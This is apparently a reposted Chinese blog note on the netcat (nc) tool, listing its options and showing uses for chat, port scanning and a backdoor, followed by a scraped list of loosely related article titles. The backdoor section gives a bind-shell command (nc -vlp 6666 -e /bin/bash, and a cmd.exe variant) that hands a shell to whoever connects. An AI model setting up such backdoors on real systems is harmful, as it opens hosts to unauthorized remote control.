netcat又称nc工具,其最主要的作用就是建立连接并返回两个数据流,剩下的就看各位的想象力了,想象力是很重要的,这也是这个工具的强大之处的所在,所以重要的东西才要说三遍,想象力!

具体参数如下:

-d                              无命令行界面,使用后台模式
-e prog                     程序重定向,一旦连接,就执行 [危险!!],(可以理解为向外发送一个东西,对方连上自动执行)
-g gateway               源路由跳跃点,不超过8
-G num                     源路由指示器:4,8,12.。。。。。
-h                              获取帮助信息
-i<延迟秒数>            延时设置,端口扫描时使用
-l                              监听入站信息
-L                             监听知道NetCat被结束(可断开重连)
- n                            以数字形式表示的IP地址,不要使用DNS反向查询IP地址的域名
- o<输出文件>         可以将连接上往来传输的数据以16进制的形式记录到logfile中(每行的左半部分是16进制显示,右半部分为ascii显示)。其中,

每行的第一个字符为”<”或”>”,分别表示接收的数据或发送的数据。

- p post                   打开本地端口
- r                           随机本地和远程的端口
- s addr                  本地源地址
- t                           以TELNET的形式应答入站请求
- u                          用UDP建立连接
- v                          显示详细信息[使用-vv获取更信息的信息]
- w<超时秒数>      连接超时设置
- z                          I/O模式[扫描时使用],连接成功后立即关闭连接, 不进行数据交换

功能:

1.可以用来聊天。

nc -l -p 6666 监听6666端口,并显示详细信息(-l:监听入站信息)

nc 172.16.150.152 6666 连接172.16.1.150.152的6666端口

2.做后门

nc 的-e参数程序重定向,一 旦连接,就执行 [危险!!],(可以理解为向外发送一个东西,对方连上自动执行)

nc -vlp 6666 -e /bin/bash #监听6666端口,然后把/bin/bash文件发送出去,只要有人连接此端口,对方就执行/bin/bash文件,此文件为linux的shell,windows对应的是nc -e C:\Windows\System32\cmd.exe

直接监听ip 端口就可以反弹得到一个shell


关于nc的一些理解:

当然还可以拿来传输文件、扫描端口nc如果连不上那么就是没有开,反之开放。

转载于:https://www.cnblogs.com/nul1/p/9085005.html

netcat、nc工具随记相关推荐

  1. NC 工具的使用教程

     NC工具的使用说明... nc使用说明 参数介绍:  nc.exe -h即可看到各参数的使用方法.  基本格式:nc [-options] hostname port[s] [ports] .. ...

  2. Linux系统中nc工具那些不为人知的用法

    Linux nc命令用法 参考地址:https://www.cnblogs.com/jjzd/p/6306273.html -g<网关>:设置路由器跃程通信网关,最多设置8个; -G< ...

  3. Linux 中的 netcat 网络工具简介

    Linux 中的 netcat 网络工具简介 Apr 3, 2020 |  Linux |  linux netcat netcat 是 Linux 系统中的网络工具,其通过 TCP 和 UDP 协议 ...

  4. NC工具—文件传输shell获取功能

    NC工具-文件传输&shell获取功能 前言:此文主要对NC(NETCAT)工具的文件传输和SHELL获取功能进行学习记录,不对工具简介和基本功能进行赘述,可参考我的另一篇文章Web安全工具- ...

  5. linux端口扫描nc,使用 netcat [nc] 命令对 Linux 和 Unix 进行端口扫描

    我如何在自己的服务器上找出哪些端口是开放的?如何使用 nc 命令进行端口扫描来替换 Linux 或类 Unix 中的 nmap 命令? nmap ("Network Mapper" ...

  6. linux 之 nc 工具安装使用教程

    nc工具简介: 全名 Ncat 7.50 ( https://nmap.org/ncat ) 在网络工具中有"瑞士军刀"美誉,其有Windows和Linux的版本.因为它短小精悍, ...

  7. netcat使用方法_记一次NC(NETCAT)传输文件实战

    二.传输文件 咱们先设立一个场景,如果你在电子取证的时候发现有文件需要传输到你的物理机上,但是又不能让自己的取证机有一些系统内存大小上发生一点变化,这时候可以使用 NC的文件传输功能: 1.物理机取证 ...

  8. Nmap/Netcat/Hping3工具对比

    在网络安全领域,Nmap.Netcat.Hping3都是安全工程师必备的工具.Nmap主要作为端口扫描器,侦查目标机的端口及服务状态:而Netcat则整合了网络中各种常用功能(如后门.文件传输.端口扫 ...

  9. netcat(NC)学习笔记-nc命令基础解释以及基础使用--包含使用nc获取shell

    NC学习笔记 搭配这个视频链接使用更佳 https://space.bilibili.com/439906928/channel/seriesdetail?sid=231485 基础概念 nc是什么? ...

最新文章

  1. dfmea文件_PFMEA执行之步骤七:结果文件化 vs 高层管理者的承诺
  2. MySQL 中的运算符
  3. python爬虫个人小结
  4. 查看MySQL的版本
  5. 在 Visual Studio Code 里编辑 Excel 和 csv 文件两个比较方便的扩展应用
  6. 今天看到几款真不错的软件
  7. 运行Android Studio自带模拟器报:Guest isn't online after 7 second...
  8. C语言内存地址对齐详解
  9. SNMP 简单网络管理协议
  10. win11系统安装vmware虚拟机win10 汇总
  11. java 1.5.0 gcj_java gcj调试
  12. html 苹果6尺寸,iPhone6界面设计尺寸规范大全【含原型设计规范】
  13. 飞桨OCR打标、训练、预测、部署全流程
  14. 迅软信息签约安龙基因医药技术构建医药行业防护体
  15. 武汉光庭总经理苏晓聪:智能网联控制器实践与创新
  16. uniapp 聊天记录插入的两种方式
  17. practise-sumer
  18. Java代码转换成groovy代码
  19. 79个!工信部2020工业互联网试点示范项目名单(附14个热点项目揭秘)
  20. 在三角形中rt是什么意思_Rt△ABC是什么意思

热门文章

  1. php导出csv文件,可导出前导0实例
  2. 服务器主机安装esxi虚拟机,服务器主机安装esxi虚拟机
  3. int** 赋值_关于Java语言复合赋值运算符的两个问题,快来瞧瞧
  4. Java基础入门笔记-对象与引用
  5. MySQL入门之PHP的MySQL数据库编程
  6. 节约内存编程方式操作系统(全概念)
  7. 苹果笔记本电脑亮度无法调节_苹果更新笔记本加量还降价,教育优惠全面开启!...
  8. php下拉列表 二级 联动,PHP+Ajax实现二级联动下拉菜单!
  9. java二嗨租车项目_JAVA第二季项目实战———答答租车系统代码
  10. php 日期加减处理函数,php日期加减处理函数示例